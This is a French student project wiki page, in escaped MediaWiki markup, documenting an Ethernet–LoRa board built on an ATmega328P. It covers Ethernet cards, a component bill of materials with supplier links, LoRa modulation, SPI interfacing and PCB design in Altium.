Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
